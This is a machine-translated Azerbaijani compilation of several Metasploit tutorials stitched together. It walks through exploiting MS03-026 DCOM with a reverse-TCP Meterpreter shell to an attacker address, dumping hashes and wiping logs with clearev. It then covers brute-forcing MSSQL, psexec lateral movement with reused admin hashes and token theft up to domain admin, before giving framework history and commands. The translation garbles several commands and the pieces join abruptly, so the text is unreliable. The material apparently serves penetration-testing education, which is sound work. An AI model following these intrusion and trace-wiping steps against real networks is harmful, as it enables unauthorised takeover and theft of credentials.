Metasploit nədir və necə işləyir? Metasploit çərçivəsi ilə işləməyi öyrənmək Metasploit kali istifadə üçün təlimatlar.

Orijinal: Metasploit Framework ilə Penetrasiya Testi
Müəllif: Dinesh Shetty
Nəşr tarixi: İyul 2011
Tərcümə: V. Semenenko
Tərcümə tarixi: İyul 2011

Giriş

Şübhəsiz ki, “Penetration Testing Tool” deyəndə bu ifadələri xatırlayanda ilk ağlınıza gələn addır. Və təəccüblü deyil! Bu layihə Ruby dilində yazılmış dünyanın ən böyük layihələrindən biridir. Onun xətlərinin ümumi sayı 700.000-i keçir! Bu gün o, de-fakto pentestinq və zəifliklərin axtarışı üçün standartdır. Proqramın nüsxələrinin illik endirilmə sayı bir milyonu ötür. Layihə, həmçinin təsdiqlənmiş, yüksək keyfiyyətli istismarların dünyanın ən böyük ictimai məlumat bazasına malikdir.

Msfconsole konsolunda adları dcerpc nümunəsinə uyğun gələn bütün istismarları axtarmaq üçün axtarış dcerpc əmrini yazın. Onların hamısından 135-ci port boşluqlarından istifadə edərək serverə giriş əldə etmək olar.

Addım 4:

İndi qarşımızda rpc istismarlarının siyahısı olduğuna görə, onları praktikada tətbiq etməzdən əvvəl onların hər biri haqqında daha dolğun məlumata ehtiyacımız var. Xüsusi istismarın ətraflı təsvirini əldə etmək üçün info exploit/windows/dcerpc/ms03_026_dcom əmrindən istifadə edəcəyik. Sonda nə alacağıq? Mümkün məqsədlərin təsviri; istismar tələbləri; bu istismarın istifadə etdiyi zəifliyin ətraflı təsviri; eləcə də daha ətraflı məlumat tapa biləcəyimiz linklər.

Addım 5:

Ümumiyyətlə, istifadə əmrini işlədir göstərilən istismar mühitini işə salır. Bizim vəziyyətimizdə bu istismarı işə salmaq üçün use exploit/windows/dcerpc/ms03_026_dcom əmrindən istifadə edəcəyik.

Şəkil 4-də gördüyünüz kimi, exploit/windows/dcerpc/ms03_026_dcom əmri ilə istismarı işə saldıqdan sonra, əmr xəttinin əmri msf >-dən msf exploit(ms03_026_dcom) > -ə dəyişdi. Bu o deməkdir ki, biz bu istismarın müvəqqəti mühitinə keçmişik.

Addım 6:

İndi biz cari ssenarinin tələb etdiyi kimi istismarın konfiqurasiya faylını redaktə etməliyik. Seçimləri göstər əmri bizə hazırda işləyən istismar üçün tələb olunan müxtəlif variantları göstərəcək. Bizim vəziyyətimizdə RPORT seçimi artıq 135-ə təyin edilmişdir. Bizə sadəcə RHOST parametrinin dəyərini təyin etmək kifayətdir ki, bu da set RHOST əmri ilə yerinə yetirilir.

Komanda xəttinə RHOST 192.168.42.129 dəstini daxil edirik və nəticəni görürük - uzaq hostun IP ünvanı ekran görüntüsündə olduğu kimi 192.168.42.129 olaraq təyin olunur.

Addım 7:

Exploiti işə salmazdan əvvəl etməli olduğumuz son şey onun üçün faydalı yükü quraşdırmaqdır. Bütün mövcud yük seçimləri yüklərin göstərilməsi əmrindən istifadə etməklə görünə bilər.

Ekran görüntüsündə gördüyünüz kimi, yüklərin göstərilməsi əmri bizə seçdiyimiz istismara uyğun olan bütün yükləri göstərəcək, bizim vəziyyətimizdə PAYLOAD windows/meterpreter/reserve_tcp komanda dəsti ilə qeyd edərək ehtiyat tcp meterpreter istifadə edirik. , o, müvəffəqiyyətlə daxil olarsa, uzaq serverdə əmr qabığını işə salacaq .

Qeyd edək ki, faydalı yük üçün LHOST seçimi" təyin edilməyib. Beləliklə, LHOST 192.168.42.128 dəsti ilə yerli IP ünvanını (məsələn, 192.168.42.128) təyin etməliyik.

Addım 8:

İndi hər şey hazırdır və istismar düzgün şəkildə konfiqurasiya olunub, onu işə salmağın vaxtıdır.

Qurban maşınımızın istismarı işə salmaq üçün mövcud olduğundan əmin olmaq üçün yoxlama əmrindən istifadə edə bilərik. Bu seçim bütün istismarlar üçün mövcud deyil. Məsələn, ekran görüntüsü aydın şəkildə göstərir ki, bizim vəziyyətimizdə bu tam olaraq belədir.

Ancaq istənilən halda istifadə etməyə dəyər. Bu, sistemdən yaxşı köməkdir, o mənada ki, uzaqdan idarə olunan maşının işə salmaq üzrə olduğunuz istismarla hələ yamaqlanmadığından əmin olmağa imkan verir. Başqa sözlə, uzaq bir maşında istismarı yenidən işə salmamağınız üçün.

Bizim vəziyyətimizdə, ekran görüntüsündə gördüyünüz kimi, seçdiyimiz istismarlar yoxlama seçimini dəstəkləmir.

İstismar əmri seçilmiş istismarı işə salır, o, bütün lazımi hərəkətləri yerinə yetirir ki, faydalı yük uzaq maşında icra oluna bilsin.

Ekran görüntüsü göstərir ki, istismar 135-ci portun zəifliyindən istifadə etməklə 192.168.42.129 IP ünvanlı uzaq maşında uğurla icra edilib. İstismarın müvəffəqiyyətlə icrası faktı komanda xəttində sonuncu əmri meterpreter > olaraq dəyişdirməklə göstərilir. .

Addım 9:

İndi qurbanla maşınımız arasında əlavə əlaqə qurulduğuna görə serverə nəzarəti ələ almalıyıq. Müvafiq hərəkətləri yerinə yetirmək üçün uzaq serverdə işlədə biləcəyimiz bütün mövcud əmrlərin siyahısını əldə etmək üçün yardımdan istifadə edə bilərik.

Aşağıda bəzi meterpreter əmrlərinin nəticələri verilmişdir:

  • ipconfig - uzaq maşında işləyən bütün TCP/IP bağlantılarının konfiqurasiya məlumatlarını göstərir;
  • getuid - konsolda server adını göstərir;
  • hashdump - SAM verilənlər bazası zibilini yaradır;
  • clearev - uzaq maşındakı varlığınızın orada qoyub getdiyiniz hər hansı izlərini silir.

Beləliklə, biz Windows 2003 Server ilə işləyən uzaq serverə daxil olmaq üçün çərçivədən uğurla istifadə etdik. Biz özümüzə qabıqda əmrləri yerinə yetirmək imkanı vermişik ki, bu da bizə uzaq maşın üzərində tam nəzarət və orada istədiyimiz tapşırıqları yerinə yetirmək imkanı verir.

Metasploit çərçivəsinin potensial istifadələri:

  • digər avtomatik zəiflik aşkarlama sistemləri ilə birlikdə hesabatlar yaratmaq üçün pentestinqdə istifadə edilə bilər. Bu çərçivədən istifadə edərək, zəifliklərin həqiqətən təhlükəli olub olmadığını və sistemə nüfuz etmək üçün istifadə oluna biləcəyini müəyyən edə bilərsiniz.
  • hər gün görünən yeni istismarları sınamaq üçün istifadə edilə bilər. Bu yoxlamanı bu məqsəd üçün xüsusi olaraq hazırlanmış yerli serverdə edə bilərsiniz. Bu çərçivə ilə siz asanlıqla yeni istismarın effektiv olub olmadığını yoxlaya bilərsiniz.
  • həm də hücum zamanı IDS-nin düzgün konfiqurasiya olunduğunu yoxlamaq üçün pentestinq sistemlərinizdə əla vasitədir.

Nəticə

Bu məqalə çərçivədən istifadəyə səthi baxışdır. Bu, zəifliklər üçün sisteminizin ümumi icmalını necə yerinə yetirəcəyinizi göstərir. Hətta bu məqalədə əldə edilmiş ilkin təcrübə də istismarların necə işlədiyini anlamağa kömək edəcək. Bu, gələcəkdə öz istismarlarınızı yazmaq üçün yaxşı kömək ola bilər. Və bu, öz növbəsində, pentesting tapşırıqlarını daha yüksək və keyfiyyətli səviyyədə yerinə yetirməyə kömək edəcəkdir.

QƏFİL sızma testi üçün alət kimi istifadə edilə bilər (İT infrastrukturunun təhlükəsizlik auditi), geniş spektrli hücumların həyata keçirilməsi üçün platforma təşkil edən bir çox kommunal proqramlardan ibarətdir. Mən sizə Pentest alqoritmi kimi istifadə edilə bilən bir neçə Metasploit nümunəsi göstərəcəyəm. Eyni zamanda, mən yalnız onun gücünü və çevikliyini göstərmək üçün metasploitdən istifadə edəcəyəm. Hücumlar üçün platforma kimi mən metasploit-in özünün quraşdırıldığı Backtrack 5 R2-dən istifadə edirəm. Əlaqələri qəbul edən postgresql DBMS-nin də orada işlədiyini qeyd etmək çox vacibdir. Ssenarilərin sınaqdan keçirilməsi üçün şəbəkə 192.168.3.0/24-dir.
Gəlin başlayaq ;)

1. Msfconsole proqramını açın və verilənlər bazasının vəziyyətini yoxlayın.

ok, məntiqi məlumat vahidləri kimi metasploit-də istifadə olunan iş yerləri haqqında danışaq. Fərqli pentestlər üçün fərqli iş yerləriniz və ya pentest üçün fərqli yerlər ola bilər. Beləliklə, müxtəlif iş yerləri arasında məlumatları idxal/ixrac etmək asandır.

Bir iş sahəsi bir neçə məlumat cədvəlini saxlayır, məsələn, hostlar, xidmətlər, vulnlar, qənimət və qeydlər.
Siz bu cədvəllərə məlumatı əl ilə əlavə edə bilərsiniz, məsələn, cədvələ host əlavə edə bilərsiniz.


Siz həmçinin xidmətlər cədvəlinə xidmət əlavə edə bilərsiniz.


Bu cədvəlləri avtomatik doldurmaq üçün db_nmap istifadə edə bilərsiniz. Siz həmçinin hər hansı (məsələn, sevimli) skan proqramından istifadə edə, işinin nəticələrini XML faylına ixrac edə və sonra onu Metasploit-ə idxal edə bilərsiniz. Bu, metasploit menyusunda db_import istifadə etməklə edilə bilər (metasploit-in başa düşdüyü hesabat formatlarının siyahısı aşağıdadır).


Nmap-i skan edək.

Bundan sonra hostlar cədvəlində hansı hostların olduğunu görək.


Xidmətlər cədvəlində yalnız bizə lazım olan sütunları süzgəcdən keçirə bilərik.

Həddindən artıq çox Windows maşını gördüyümüz üçün smb versiyasını skan edən köməkçi moduldan istifadə edirik.


Set əmri ilə hostlardan birini seçməlisiniz. Ancaq biz hostları bir-bir düzəldəcəyik, bu da verilənlər bazasından istifadə etmək üçün əlverişlidir. Biz fayla 445 portlu xidmət verilənlər bazasından hostları əlavə edəcəyik.


Skandan sonra xidmətlər cədvəlinə baxaq.

Bizdə Windows 2003, Windows 2003 xidmət paketi 1 ilə bir host var. Biz host adlarını və domen adını görürük - “TEST”.
Digər məlumatlar (mən hesab edirəm ki, host adlarına əsasən bu doğrudur):
TEST-EMEA-DC-01 - domen nəzarətçisi
TEST-EMEA-DB-01 - verilənlər bazası serveri

Yaxşı, potensial verilənlər bazası serveri ilə işləyək.

Fərz etdim ki, MSSQL DBMS orada quraşdırılıb (çünki Windows ..), lakin əzələ adətən siyahıda olmayan 1433 portda işləyir. "Mən kor-koranə vuracağam" və MSSQL DBMS üçün sınaq keçirməyə çalışın.


Deyəsən, düzəldi.

Yaxşı. Bir mssql nümunəsi yaradaq. 1043, SQLEXPRESS portunda işləyin. Onun quruluşu Microsoft SQL 2005 SP3-ə uyğun gələn 9.00.4035.00 versiyası var. Xidmətlər cədvəlinə baxaq, orada nə dəyişib?

Əlavə edilib: mssql kimi port 1043 və UDP portu 1433. Bu, əslində mssql tərəfindən istifadə edilən portdur.
İndi məlumat bazası xidmətinin bu portda işlədiyini bilirik və eyni metasploitdən istifadə edərək kobud güc hücumu təşkil edə bilərik.

Gəlin düzgün uzaqdan port nömrəsini (DBMS 1043 portunda bizi dinləyir), istifadəçi adı və şifrəni göstərək.

Gəlin onu işə salaq və parolu uğurla tapaq.

TAMAM. Parol var və bu bizim ilk etimadnaməmizdir. Biz bunu kredit cədvəlində görəcəyik.


İstismar yaratmağın vaxtıdır.


İstifadəçi adı, parol və portu bilirik.


Metrpreter qabığını alırıq.

Gəlin bu sessiyanı təxirə salaq. Keçək sessiyaların siyahısına, orada 1 seans görəcəyik.


Sonra sizə sistemi işlədikdən sonra faydalı olan bəzi modullardan necə istifadə edəcəyinizi göstərəcəyəm.

Ağıllı _hashdump istifadə edərək, hashları yoxlaya bilərsiniz. SESSIONS və GETSYSTEM parametrlərini təyin etdim.

işə salıram.


Qənimət cədvəlində yeniləmələrimiz var.
SİSTEM imtiyazları və 2 hash əldə etdim. Görünür, bu etibarlı administrator hesabıdır (“localadmin” hesabında həmişə RID 500 var).

Gəlin qənimət masasına baxaq.

Cədvəldə 3 şirniyyat var.

Bu admin parolunun digər sistemlərdə istifadə edilib-edilmədiyini yoxlayacağam. Bunun üçün mənə lazım olan hər şey var.

Xidmətlər cədvəlindən hostların siyahısını əlavə edəcəyəm (əvvəllər onu saxlamışdıq).


Biz hashı pozmayacağıq (niyə?), sadəcə görəcəyik. BLANK_PASSWORDS və USER_AS_PASS parametrlərini false olaraq təyin edək.

Başladıqdan sonra çoxlu uğurlu girişlər görəcəyik. Nəticə - idarəçinin şəbəkədəki bir neçə maşın üçün bir parolu var.

Daha bir neçə etimadnamə tapıldı.


Mən həssas Windows sistemləri üçün yerli parollar almışam. Exploit istifadə edilə bilər
psexec, lakin bütün hostları bir-bir əl ilə keçməli olacaqsınız və bu rahat deyil.
İstismarlarda adətən RHOSTS deyil, RHOST parametrini göstərməlisiniz və buna görə də zəiflikləri axtarmaq üçün hostların siyahısını təyin edə bilməzsiniz.
Skriptlərdən istifadə edərək bu prosesi necə avtomatlaşdıra biləcəyinizi sizə göstərəcəyəm.

Bu skripti İnternetdəki müxtəlif mənbələrdən yaratdım. Asanlıqla dəyişdirilə və funksionallıq əlavə edilə bilər.

İndi psexec-i işə salmışam.
Amma mən bu skripti işlədə bilmirəm, çünki... burada istifadə olunan faydalı yük windows/meterpreter/reverse_tcp-dir
problem yaranır ki, dinləmə portu eyni ola bilməz. Buna görə də, mən faydalı yük windows/meterpreter/bind_tcp istifadə edirəm.

Skriptimi işə salacağam.

Biz 9 seans və localadmin hesabını müşahidə edirik.

Gəlin daha çox hash axtaraq, indi biz bunu ənənəvi olaraq əl ilə edirik, hər seansla qarşılıqlı əlaqədə oluruq və hashləri atırıq.
Alternativ olaraq, etimadnamə toplayıcı modulundan istifadə edə bilərsiniz. Bu modul bizə hash verəcək və (bu vacibdir!) inkoqnito rejimini aktivləşdirəcək və domen nişanlarını axtaracaq. Təəssüf ki, modul hər sessiya üçün addım-addım əl ilə işləməyi tələb edir, əlbəttə ki, onların saxlandığı müvafiq fayl yoxdursa...


Mən hash və token kolleksiyasını işə salıram.

5 və 6-cı sessiyalarda maraqlı domen tokenləri var.

Domeni oğurlamaq cəhdi və voila - bizim domen admin səviyyəsində girişimiz var.

Nümunə Metasploit-in bəzi imkanlarını və bu platformanın komponentlərini göstərdi.
PS: PDA-nı sındırmaqda uğurlar (!#)

İnformasiya təhlükəsizliyi auditləri və qələm testləri üçün Kali Linux paylanmasından istifadə etmək üçün praktiki bələdçi. Bu gün biz bu paylamaya daxil olan vasitələrdən birinə çox diqqət yetirəcəyik - Metasploit Çərçivəsi . Layihənin tarixini nəzərdən keçirin və biz paketin praktik inkişafını asanlaşdıracaq xüsusi təlimatlar və sənədlər təqdim edəcəyik. Metasploit

Layihənin tarixi

2003-cü ildə haker kimi tanınır HD Mur , mən eksploitləri tez yazmaq və istifadə etmək üçün alət hazırlamaq fikri ilə gəldim. Bütün dairələrdə tanınan layihə belə yarandı Metasploit layihəsi .

Çərçivənin ilk versiyası lənətlər kitabxanasına əsaslanan psevdoqrafik interfeysi ehtiva edən Perl dilində yazılmışdır. O zaman bu, sadəcə olaraq, ümumi məlumatlar vahid verilənlər bazasında saxlanılan müxtəlif istismar və skriptlər toplusu idi. Skriptləri işə salmaq üçün tələb olunan mühit haqqında məlumat adətən yox idi. Onlar həmçinin çoxlu köhnəlmiş kodu daşıdılar və hər bir konkret hal üçün sərt kodlu yolların dəyişdirilməsini tələb etdilər, bu da iş prosesini çox çətinləşdirdi və yeni alətlərin işlənməsini çətinləşdirdi.

İkinci (2.x) versiya üzərində işləyərkən HD Mur qoşuldu Matt Miller və daha bir neçə könüllü. Üçüncü versiya tamamilə Ruby-də yenidən yazılmış və Metasploit MMC (2006-cı ildə eyni tərtibatçılar tərəfindən yaradılmış) tərəfindən hazırlanmışdır. Bir il sonra 2008-ci ildə lisenziya Metasploit Çərçivəsi mülkiyyətdən BSD-yə dəyişdirildi. Və daha sonra 2009-cu ildə zəiflikləri idarə edən Rapid7 firması satın aldığını elan etdi Metasploit , ikili təyinatlı nüfuzetmə testi proqram paketi. Həmçinin bildirilib ki, yardım proqramının qeyri-kommersiya versiyası bundan sonra da hər kəs üçün əlçatan olacaq.

Çərçivə əldə edildikdən sonra çox şey dəyişdi.

PRO və İcma versiyaları ortaya çıxdı və 2010-cu ildə "aşağı bacarıqlı" istifadəçilər üçün daha sadələşdirilmiş versiya buraxıldı - Metasploit Express .

Versiyalar

Bu gün Metasploit dörd versiyada paylanır:

  • Çərçivə - konsol interfeysi ilə əsas versiya;
  • İcma - pulsuz versiya, əlavə olaraq veb-interfeys və kommersiya versiyalarından bəzi funksionallıqlar daxildir;
  • Ekspres - kommersiya istifadəçiləri üçün əsas auditlərin aparılmasını və onlar üzrə hesabatların yaradılmasını asanlaşdıran funksionallıq daxildir;
  • Pro ən qabaqcıl versiyadır, hücumların həyata keçirilməsi üçün genişləndirilmiş imkanlar təqdim edir, audit üçün tapşırıq zəncirləri yaratmağa, ətraflı hesabat yaratmağa və s.
Community, Express və Pro versiyalarında mövcud olan veb interfeysinə əlavə olaraq, çərçivəyə dostluq və intuitiv GUI interfeysi təmin edən Armitage və Cobalt strike kimi layihələr də mövcuddur.

Armitaj qrafik qabığı

Digər interfeyslərlə müqayisədə Armitaj hücumun bütün mərhələlərini vizual olaraq təqdim etməyə imkan verir, o cümlədən: şəbəkə qovşaqlarının skan edilməsi, aşkar edilmiş resursların təhlükəsizliyinin təhlili, istismarların icrası və həssas sistem üzərində tam nəzarətin əldə edilməsi.

Proqramın bütün funksiyaları strukturlaşdırılmışdır və proqram menyusundan və nişanlardan asanlıqla əldə edilə bilər, hətta təcrübəsiz kompüter təhlükəsizliyi tədqiqatçısı üçün. Proqram Linux və Windows platformalarında istifadə üçün nəzərdə tutulub. Tərtibatçıların veb saytında mənbə kodları, mətn və video formatında istinad təlimatları var.

Əsas anlayışlar

1. Verilənlər bazası

Paketlə işə başlamazdan əvvəl hostlar, xidmətlər, zəifliklər və s. haqqında məlumat saxlamaq üçün verilənlər bazasından istifadə imkanlarını nəzərdən keçirməlisiniz. Verilənlər bazasına qoşulma çərçivənin işləməsi üçün zəruri şərt deyil, lakin buna baxmayaraq istifadənin asanlığını və performansını artırır.

Metasploit PostgreSQL-dən istifadə edir, ona görə də onunla işləməyə başlamazdan əvvəl sisteminizdə DBMS quraşdırmalı olacaqsınız. Sonra lazımi verilənlər bazası və çərçivə xidmətlərinin işlədiyinə əmin olun.

2. Çərçivə strukturu

Metasploit-in "ürəyi" Rex kitabxanasıdır. Bu, ümumi təyinatlı əməliyyatlar üçün tələb olunur: soketlərlə, protokollarla işləmək, mətnin formatlaşdırılması, kodlaşdırma ilə işləmək və s. Kitabxana onun əsasında qurulub MSF nüvəsi , əsas funksionallığı və "aşağı səviyyəli" API təmin edir. O, MSF Base kitabxanası tərəfindən istifadə olunur, bu da öz növbəsində plaginlər, istifadəçi interfeysi (həm konsol, həm də qrafik), həmçinin API təmin edir. plaginlər .

Təqdim olunan funksionallıqdan asılı olaraq bütün modullar bir neçə növə bölünür:

  • İstismar edin- hədəf sistemdə müəyyən bir zəiflikdən istifadə edən kod (məsələn, yığın daşması)
  • Faydalı yük- istismar işlədikdən sonra hədəf sistemdə işləyən kod (bağlantı yaradır, qabıq skriptini yerinə yetirir və s.)
  • Post- uğurla daxil olduqdan sonra sistemdə işləyən kod (məsələn, parolları toplayır, faylları yükləyir)
  • Kodlayıcı- modulları antiviruslardan gizlətmək üçün onları gizlətmək üçün alətlər
  • XEYR- NOP generatorları. Bu, heç bir hərəkəti yerinə yetirməyən montaj təlimatıdır. Tələb olunan ölçüyə uyğun olaraq icra edilə bilən fayllardakı boşluqları doldurmaq üçün istifadə olunur

    Köməkçi- şəbəkənin skan edilməsi, trafikin təhlili və s. üçün modullar.

3. Ümumi MSFCONSOLE əmrləri

Qrafik interfeyslərin olmasına baxmayaraq, Metasploit ilə işləməyin ən ümumi yolu hələ də konsol interfeysidir. msfconsole .

Əsas əmrlərə baxaq:

  • istifadə edin- işləmək üçün xüsusi modul seçin;
  • geri- istifadənin tərs işləməsi: seçilmiş modulla işləməyi dayandırın və geri qayıdın;
  • göstərmək- müəyyən tipli modulların siyahısını göstərmək;
  • təyin edin- konkret obyektə qiymət təyin etmək;
  • qaçmaq- lazımi variantlar quraşdırıldıqdan sonra köməkçi modulu işə salın;
  • məlumat- modul haqqında məlumatı göstərmək;
  • axtarış- müəyyən bir modul tapmaq;
  • yoxlayın- hədəf sistemin zəifliklərə qarşı həssas olub olmadığını yoxlamaq;
  • seanslar- mövcud sessiyaların siyahısını göstərin.

Çoxları yəqin ki, Metasploit, metafiles, exploit, shell, vulnerability sözlərini eşitmişdir. Bu və ya digər şəkildə bununla qarşılaşan istifadəçilərdən (təcrübəsiz skriptlər, həmçinin istismar və zəiflik testçiləri) çoxlu suallar yaranır, buna görə də bu məqalə məhz onlar üçündür.

Burada sizə Metasploit Framework layihəsinin nə olduğunu və ondan necə istifadə edəcəyinizi söyləyəcəyəm. Dərhal deyim ki, məqalə bu kimi suallar verənlər üçün nəzərdə tutulub:

  1. cd\
    cd %SystemRoot%\system32
    msfconsole: chdir: kataloqu dəyişmək alınmadı Belə fayl və ya kataloq yoxdur
    Bunu necə başa düşməliyəm???
  2. və ya buna bənzər bir şey:
    + — —=[ msfconsole v2.6
  3. msf > ls istismar edir

    msf >
    Bunu nece anlamaq olar???

Məqalədə istifadə olunan əsas anlayışlar və terminlər

İstismar: (ingiliscə exploit - istifadə etmək) kompüter təhlükəsizliyi cəmiyyətində səhv, uğursuzluq və ya zəifliyin verdiyi imkanlardan istifadə edərək imtiyazların artmasına və ya zəifliyə səbəb olan proqram koduna istinad etmək üçün ümumi termindir. kompüter sisteminə xidmətdən imtina.

Shellcode: Shellcode adətən idarəetməni konsola ötürən ikili icra edilə bilən koddur, məsələn, '/bin/sh' Unix qabığı, MS-DOS-da command.com və Microsoft Windows sistemlərində cmd.exe. Shell kodu təcavüzkarın kompüter sistemindəki əmr qabığına giriş imkanı verən istismar yükü kimi istifadə edilə bilər.

Reverse shell: Uzaqdan zəiflikdən istifadə edərkən, shellcode zəif kompüterin əvvəlcədən təyin edilmiş TCP portunu aça bilər, onun vasitəsilə komanda qabığına əlavə giriş həyata keçiriləcəkdir. Əgər shellcode firewall və ya NAT-dan yan keçmək üçün təcavüzkarın kompüterindəki porta qoşulursa, o zaman belə kod reverse shell shellcode adlanır.

Zəiflik: Kompüter təhlükəsizliyində zəiflik termini sistemdə zəif qorunan və ya açıq sahəyə istinad etmək üçün istifadə olunur. Zəiflik proqramlaşdırma xətalarının və ya sistem dizaynındakı qüsurların nəticəsi ola bilər. Zəiflik ya yalnız nəzəri cəhətdən mövcud ola bilər, ya da məlum istismara malik ola bilər.

Zəifliklər çox vaxt proqramçı diqqətsizliyinin nəticəsidir, lakin başqa səbəblər də ola bilər. Zəiflik adətən təcavüzkarın tətbiqi aldatmasına imkan verir, məsələn, məlumatı hər hansı gözlənilməz şəkildə yeritməklə, proqramın işlədiyi sistemdə əmri yerinə yetirməklə və ya proqramın kodunu yerinə yetirmək üçün nəzərdə tutulmayan yaddaşa giriş imkanı verən səhvdən istifadə etməklə. imtiyaz səviyyəsi.

Bəzi zəifliklər istifadəçi daxiletməsinin kifayət qədər yoxlanması səbəbindən baş verir; Bu, tez-tez SQL əmrlərini birbaşa yerinə yetirməyə imkan verir (SQL injection). Digər zəifliklər sərhədlərini yoxlamadan buferə məlumatların yazılması kimi daha mürəkkəb məsələlərdən yaranır ki, bu da buferin daşması ilə nəticələnə bilər ki, bu da ixtiyari kodun icrasına səbəb ola bilər.

Cygwi (Tsigwin): Cygnus Solutions tərəfindən hazırlanmış pulsuz proqram alətləri toplusu, müxtəlif versiyaların Microsoft Windows-u Unix sisteminin bəzi görünüşünə çevirməyə imkan verir. Cygwin əvvəlcə proqramları POSIX-ə uyğun əməliyyat sistemlərindən (məsələn, GNU/Linux, BSD və UNIX) Windows-a köçürmək üçün çərçivə olmaq üçün nəzərdə tutulmuşdu. Cygwin tərəfindən daşınan proqramlar ən yaxşı Windows NT, Windows 2000, Windows XP və Windows Server 2003-də işləyir, lakin Windows 95 və Windows 98 bəzi hallarda işləyəcək Cygwin layihəsi hazırda Red Hat işçiləri və digər proqramçılar tərəfindən hazırlanır. Microsoft eyni zamanda Interix alt sistemini özündə birləşdirən UNIX Xidmətləri paketində də oxşar funksiyalar təklif edir.

Perl: Proqramlaşdırma dili. Larry Wall tərəfindən yaradılmışdır. Perl sözünün özü Praktiki Çıxarma və Hesabat Dili (çıxarma və hesabat üçün praktik dildir, buna görə də dil əvvəlcə PEARL adlanırdı, lakin sonra "A" hərfi "itirildi") mənasını verən abbreviaturadır. Bir sıra başqa variantlar da var. Onlardan ən gözəlinə görə perl adı mirvari (mirvari) sözündəndir. Perl dilinin maskotu dəvədir - çox gözəl deyil, lakin ağır iş görə bilən çox dözümlü bir heyvandır. Dilin əsas xüsusiyyəti onun müntəzəm ifadələrdən istifadə etməklə həyata keçirilən mətnlə işləmək üçün zəngin imkanlarıdır.

Metasploit Framework nədir?

Metasploit Framework (təsvir edildiyi kimi) istismar kodunu yazmaq, sınaqdan keçirmək və istifadə etmək üçün tam mühitdir. Bu mühit nüfuz sınağı, silkcode inkişafı və zəifliyin araşdırılması üçün möhkəm platforma təmin edir.” Perl dilində yazılmış (bəzi hissələri assemblerdə, Python və C-də) - buna görə də heç bir platforma ilə bağlı heç bir əlaqə yoxdur - Perl tərcüməçisi olan istənilən sistemdə işləyəcək (ehtiyatla, aşağıya baxın). Hazırda Metasploit Framework paketi həm Linux, həm Windows, həm də Mac-da işləyir. Müvafiq OS üçün paketin ən son versiyasını buradan yükləyə bilərsiniz: http://www.metasploit.com/
(Windows mühiti dəyişdirilmiş Cygwin-ə əsaslanır, bu, istifadəçiyə tanış konsol verdiyi üçün əlverişlidir. Bununla belə, Active Perl dəstəyi ilə bağlı bəzi problemlər var idi, ona görə də yalnız Cygwin Perl dəstəklənir.

Quraşdırma (qazanan istifadəçilər üçün)

Windows üçün quraşdırıcı sizə lazım olan hər şeyi ehtiva edir (Cygwin, Perl), yəni. Windows istifadəçilərinin heç bir əlavə proqram yükləməsinə ehtiyac qalmayacaq.
Yükləyin (yazı zamanı Windows üçün 2.6 versiyası mövcuddur).
İndi daha aktualdır (daha çox istismar).

Quraşdırıcını işə salın: framework-2.6.exe

Alırıq: C:\Program Files\Metasploit Framework\
cygwin.bat (41.0B) - cygwin-i işə salın
msfconsole.bat (86.0B) - MSF konsolunu işə salın
msfupdate.bat (85.0B) - paket yeniləməsini işə salın
msfweb.bat (82.0B) - paketin WEB interfeysini işə salın
Metasploit Framework.url (51.0B) - tərtibatçıların veb saytına keçid
uninst.exe (47.6KB) - paketin silinməsi

həmçinin bin və s, home, lib, sbin, tmp, usr, var qovluqları - Unix sistemlərinin pərəstişkarlarına yaxşı məlumdur.

İstifadəsi

Metasploit Framework paketinin iki əməliyyat variantı var: msfconsole (konsol) və msfweb veb interfeysi. Həmişə msfconsole-da işləmək mənim üçün daha rahatdır. Bu, öz proqram mühitinə və komanda sisteminə malik olan komanda xətti interfeysidir (minimum əmrlər dəsti ilə cmd kimi). Əsas əmrlərə baxmaq üçün konsolda help yazın. İngilis dilində çətinlik çəkənlər üçün help'a tərcüməsini təqdim edirəm. Paketin konsol versiyasını nəzərdən keçirək.

Metasploit Framework Əsas Konsol Yardımı

? ———— Əsas konsol yardımını göstərin
cd ———— İş kataloqunu dəyişdirin
exit ———- Konsoldan çıxın
help ——— Əsas konsol yardımını göstərin
info ———- Ətraflı istismar və ya faydalı yük məlumatını göstərin
çıxın ———- Konsoldan çıxın
yenidən yüklə ——— İstismarları və faydalı yükləri yenidən yükləyin
saxla ——— konfiqurasiyanı diskdə saxla
setg ———- Qlobal mühit dəyişənini təyin edin
göstər ——— Mövcud istismarları və faydalı yükləri göstər (Mövcud istismar və faydalı yükləri göstər)
unsetg ——- Qlobal mühit dəyişənini silin
istifadə ———— Ada görə istismar seçin (İstifadə etmək üçün ada görə istismar seçin)
versiya ——- Konsol versiyasını göstərin
—-köməkdə deyil——
ls ————- Cari qovluğu sadalayın (Cari kataloqda faylları göstərin)
istismar ——— istismarı işə salın
msf >

Hmm...hə, deyirsən, yardım bir az zəifdir və komandalar çatışmır. Yaxşı, nəyin olduğunu başa düşəcəyik.
cd [kataloq_adı] standart əmrdir (həm cmd-də, həm də qədim DOS-da - burada eyni şeyi edir, onunla hər şey aydındır, tankda olanlar üçün cmd konsolunda help cd yazın)
Əlbəttə ki, hər kəs [exploit name] əmrindən istifadə etmək və sonra bəzi ləzzətli doldurma ilə PAYLOAD dəyişənini təyin etmək arzusundadır, amma ilk növbədə, başlayaq!

Başlayanların 90% -i tərəfindən edilən ümumi səhvlər

1. Xəta

  • Konsolu yüklədikdən sonra istifadəçinin ilk əmri ls istismar edir
    Bu vəziyyətdə onlar aşağıdakı problemlərdən əziyyət çəkirlər:
  • msf > ls istismar edir
    ls: istismar: Belə fayl və ya kataloq yoxdur
    msf >
  • Və hamı birdən deyir ki, mənim heç bir istismarım yoxdur!
    Ancaq harda olduğumuzu görmək üçün sadəcə ls əmrini parametrlərsiz işlətməliyik.
  • msf > ls
    framework perl.exe.stackdump run_msfupdate userguide.pdf
    framework.tar run_msfconsole run_msfweb
    msf >
  • İndi görürük ki, istismarları olan qovluq burada deyil, çünki o, çox güman ki, çərçivə qovluğunda yerləşir.
    Problem nədir, çərçivə qovluğuna keçin və ora baxın:
  • msf > cd çərçivəsi
    msfconsole: chdir: kataloq çərçivəsinə dəyişdirildi
    msf >
  • Əla! İndi ls əmri ilə içəridə nə olduğuna baxaq:
  • msf > ls
    data istismarı msfcli msfencode msfpescan nops src
    sənədlər əlavələri msfconsole msflogdump msfupdate faydalı yüklər alətləri
    kodlayıcılar lib msfelfscan msfpayload msfweb SDK
    msf >
  • HAQQINDA! Nə qədər var! Və istismarlar və doldurmalar və doklar. İndi siz ls exploits əmrini verə bilərsiniz
  • msf > ls istismar edir
    3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
    Credits.pm ms05_039_pnp.pm
    ————-bir çox başqa istismar——————-
